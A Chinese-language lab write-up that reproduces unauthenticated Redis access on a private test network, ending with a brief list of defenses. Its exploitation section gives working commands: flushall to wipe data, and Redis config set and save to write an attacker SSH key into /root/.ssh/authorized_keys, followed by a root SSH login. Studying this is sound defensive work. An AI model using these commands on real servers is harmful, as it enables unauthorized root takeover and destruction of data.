Redis未授权访问漏洞复现

一、redis简介

Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings)散列(hashes)列表(lists)集合(sets)有序集合(sorted sets) 与范围查询, bitmapshyperloglogs地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication)LUA脚本(Lua scripting)LRU驱动事件(LRU eviction)事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。

二、redis未授权访问漏洞简介和危害

Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
该漏洞的产生条件有以下两点:

1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2.没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。

漏洞危害:
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2) 攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3) 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器;

三、靶机环境部署

靶机 CentOS Linux release 7.5.1804 (Core) 192.168.31.194
攻击机 Debian 5.9.1 192.168.31.88

A、靶机操作
创建目录用于安装redis文件配置的目录

mkdir /usr/local/redis

进入redis路径下载或上传redis包

cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

解压安装

tar zxf redis-3.2.11.tar.gz
cd redis-3.2.11/
make 
make报错先查看是否安装了gcc 如果gcc存在仍然报错就执行make MALLOC=libc

修改配置文件

vim redis.conf
先注释掉bind 127.0.0.1  ::1
开启bind 0.0.0.0
将protected-mode设置为no

复制redis-cli和redis-server这两个文件放到etc文件下

cd src/
cp redis-cli /usr/bin
cp redis-server /usr/bin
cd ..
cp redis.conf /etc/

启动redis

redis-server /etc/redis.conf

会出现一个正方体图形表示启动成功
另开一个窗口查看运行状态

netstat -nulpt|grep 6379
ps -ef | grep redis

B、攻击机操作
同靶机一样先进行安装

mkdir /usr/local/redis
cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxf redis-3.2.11.tar.gz
cd redis-3.2.11/
make 
不需要修改配置文件
cd src/
cp redis-cli /usr/bin
cp redis-server /usr/bin
cd ..
cp redis.conf /etc/
redis-server /etc/redis.conf

四、漏洞复现过程

在攻击机上扫描靶机端口开启情况
再开启一个窗口

nmap -p 6379 -script redis-info 192.168.31.194

Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-09 17:15 CST
Nmap scan report for 192.168.31.194
Host is up (0.00041s latency).

PORT     STATE SERVICE
6379/tcp open  redis
|_redis-info: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:FD:3F:3D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

会显示6379端口处于开放状态

cd /usr/local/redis/redis-3.2.11/src

./redis-cli -h 192.168.31.194 -p 6379

192.168.31.194:6379>

到目前就可以进行一些操作了

五、漏洞利用

可以查看redis版本信息 存放路径

┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# ./redis-cli -h 192.168.31.194 -p 6379
10.238.104.96:6379> CONFIG GET dir
1) "dir"
2) "/usr/local/redis/redis-3.2.11"
192.168.31.194:6379> 

获取shell,拿到root权限
生成ssh-key文件

┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:soY2t/oTGWshnbMFgEuVQRAsWfK0y7PWQyrueiXelq0 root@hxg
The key's randomart image is:
+---[RSA 3072]----+
|.+=*=+           |
|o++.. .          |
| oo. . o         |
| .... * .        |
|  + ...OS        |
|  .*..*o         |
|..++*++.         |
|.oo.+=o.         |
|++ .E+o.         |
+----[SHA256]-----+

把密钥文件写入key.txt

┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

利用redis漏洞传入密钥

┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# redis-cli -h 192.168.31.194 flushall
OK
┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# cat key.txt | redis-cli -h 192.168.31.194 -x set crackit 
OK
┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# redis-cli -h 192.168.31.194         
192.168.31.194:6379> config set dir /root/.ssh/
OK
192.168.31.194:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.31.194:6379> config set dbfilename "authorized_keys"
OK
192.168.31.194:6379> save
OK
192.168.31.194:6379>

拿到了系统root权限

┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# ssh 192.168.31.194
Last login: Sat Oct  9 22:23:55 2021 from 192.168.31.88
[root@MiWiFi-R4CM-srv ~]# 

六、防御方法

1、禁止外部访问Redis服务端口;
2、禁止使用root权限启动redis服务;
3、配置安全组,限制可连接Redis服务器的IP;

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐